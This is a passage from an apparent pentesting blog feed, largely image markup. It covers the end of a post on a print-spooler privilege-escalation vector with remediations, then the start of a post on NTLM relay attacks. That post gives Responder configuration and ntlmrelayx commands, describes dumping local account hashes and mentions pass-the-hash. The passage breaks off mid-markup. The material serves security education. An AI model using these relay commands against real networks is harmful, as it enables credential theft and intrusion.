data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:525,&quot;width&quot;:787,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vzhp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 424w, https://substackcdn.com/image/fetch/$s_!vzhp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 848w, https://substackcdn.com/image/fetch/$s_!vzhp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 1272w, https://substackcdn.com/image/fetch/$s_!vzhp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Warning: The Print Spooler service is responsible for handling print job management. Disabling this service on print servers may result in a loss of functionality.</em></p><p>After running another <em>gpupdate</em> from a command prompt, testing the printer bug confirms that it fails to execute, as no authentication is captured:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SW7l!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SW7l!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 424w, https://substackcdn.com/image/fetch/$s_!SW7l!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 848w, https://substackcdn.com/image/fetch/$s_!SW7l!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 1272w, https://substackcdn.com/image/fetch/$s_!SW7l!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SW7l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png" width="997" height="316" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:316,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SW7l!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 424w, https://substackcdn.com/image/fetch/$s_!SW7l!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 848w, https://substackcdn.com/image/fetch/$s_!SW7l!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 1272w, https://substackcdn.com/image/fetch/$s_!SW7l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf442b7a-0f8b-4eea-a988-459e5d8ec048_997x316.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4><strong>Wrap-Up</strong></h4><p>This is a sneaky good privilege escalation vector that is often overlooked during internal engagements. While applying either one of the discussed remediations to a host will protect against this attack, I highly encourage both remediations to be deployed as widely as organizational requirements will allow for.</p><p>References</p><p><a href="https://web.archive.org/web/20250710084132/https://github.com/NotMedic/NetNTLMtoSilverTicket">https://github.com/NotMedic/NetNTLMtoSilverTicket</a></p><p><a href="https://web.archive.org/web/20250710084132/https://crack.sh/netntlm/">https://crack.sh/netntlm/</a></p><p><a href="https://web.archive.org/web/20250710084132/https://github.com/lgandx/responder">https://github.com/lgandx/responder</a></p><p><a href="https://web.archive.org/web/20250710084132/https://github.com/dirkjanm/krbrelayx">https://github.com/dirkjanm/krbrelayx</a></p><p><a href="https://web.archive.org/web/20250710084132/https://github.com/leechristensen/SpoolSample">https://github.com/leechristensen/SpoolSample</a></p><p><a href="https://twitter.com/tifkin_/status/1407044550015782915">https://twitter.com/tifkin_/status/1407044550015782915</a></p><p><a href="https://web.archive.org/web/20250710084132/https://github.com/GhostPack/Seatbelt">https://github.com/GhostPack/Seatbelt</a></p>]]></content:encoded></item><item><title><![CDATA[SOCKS Proxy Relaying]]></title><description><![CDATA[Transitioning to multi-relay attacks with ntlmrelayx]]></description><link>https://blog.tw1sm.io/p/2021-02-15-socks-relay</link><guid isPermaLink="false">https://blog.tw1sm.io/p/2021-02-15-socks-relay</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 15 Feb 2021 05:00:00 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/decc4dd2-6e24-4385-b4b9-958f2c17cfd4_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I came across this <a href="https://www.secureauth.com/blog/what-is-old-is-new-again-the-relay-attack/">SecureAuth blog post</a> recently and was amazed at some of the <code>ntlmrelayx.py</code> functionality I&#8217;d been missing out on. To over-simplify it, just throwing the <code>-socks</code> flag allows you to store sessions gained from authentication relays at a SOCKS proxy. You can then use other tools in conjunction with <code>proxychains</code> to take advantage of these stored sessions multiple times.</p><h1><strong>Traditional Relay</strong></h1><p>Let&#8217;s start with the way I&#8217;ve always run relay attacks in the past and a scenario in which utilzing the SOCKS feature becomes super beneficial.</p><p>As always, get Responder configured with <code>SMB</code> and <code>HTTP</code> off in <code>Responder.conf</code>:</p><pre><code><code>[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On 
Kerberos = On
FTP = On 
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On  
LDAP = On</code></code></pre><p>Then we&#8217;ll start Responder:</p><pre><code><code>sudo responder -I eth0 -w</code></code></pre><p>We can start the relay now; I&#8217;ve thrown 1 IP into a text file to target:</p><pre><code><code>sudo python3 ntlmrelayx.py -tf ~/Desktop/targets -smb2support</code></code></pre><p>The attack is all ready, just need to simulate some traffic we can poison:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NGdp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NGdp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 424w, https://substackcdn.com/image/fetch/$s_!NGdp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 848w, https://substackcdn.com/image/fetch/$s_!NGdp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 1272w, https://substackcdn.com/image/fetch/$s_!NGdp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NGdp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png" width="565" height="284" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:284,&quot;width&quot;:565,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:14976,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NGdp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 424w, https://substackcdn.com/image/fetch/$s_!NGdp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 848w, https://substackcdn.com/image/fetch/$s_!NGdp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 1272w, https://substackcdn.com/image/fetch/$s_!NGdp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07ef4173-5c14-4a53-804b-2127da0cb2ef_565x284.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We see Responder pick up on the requests:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-Zq8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-Zq8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 424w, https://substackcdn.com/image/fetch/$s_!-Zq8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 848w, https://substackcdn.com/image/fetch/$s_!-Zq8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 1272w, https://substackcdn.com/image/fetch/$s_!-Zq8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-Zq8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png" width="785" height="127" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:127,&quot;width&quot;:785,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27659,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-Zq8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 424w, https://substackcdn.com/image/fetch/$s_!-Zq8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 848w, https://substackcdn.com/image/fetch/$s_!-Zq8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 1272w, https://substackcdn.com/image/fetch/$s_!-Zq8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1cacc1fa-280d-410f-b3d2-5fae4b0015f2_785x127.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>And ntlmrelayx dumping the local account hashes with the relay:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eCTz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eCTz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 424w, https://substackcdn.com/image/fetch/$s_!eCTz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 848w, https://substackcdn.com/image/fetch/$s_!eCTz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 1272w, https://substackcdn.com/image/fetch/$s_!eCTz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eCTz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png" width="929" height="641" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e769de99-9b5f-4db4-9f37-568c38161543_929x641.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:641,&quot;width&quot;:929,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:180170,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eCTz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 424w, https://substackcdn.com/image/fetch/$s_!eCTz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 848w, https://substackcdn.com/image/fetch/$s_!eCTz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 1272w, https://substackcdn.com/image/fetch/$s_!eCTz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe769de99-9b5f-4db4-9f37-568c38161543_929x641.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Unfortunately for us, we can guess that the built-in local Administrator account is disabled since its NTLM hash, starting with <code>31d6c</code>, looks like the hash for a null/blank password. Usually this indicates the account is disabled (quite common in client environments) and that a custom local administrator account is used.</p><p>This is likely the <code>radovid</code> account we saw dumped. This hash is less helpful for us since the account can&#8217;t obtain admin context over pass-the-hash:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!o9hj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!o9hj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 424w, https://substackcdn.com/image/fetch/$s_!o9hj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 848w, https://substackcdn.com/image/fetch/$s_!o9hj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 1272w, https://substackcdn.com/image/fetch/$s_!o9hj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!o9hj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png" width="1192" height="72" 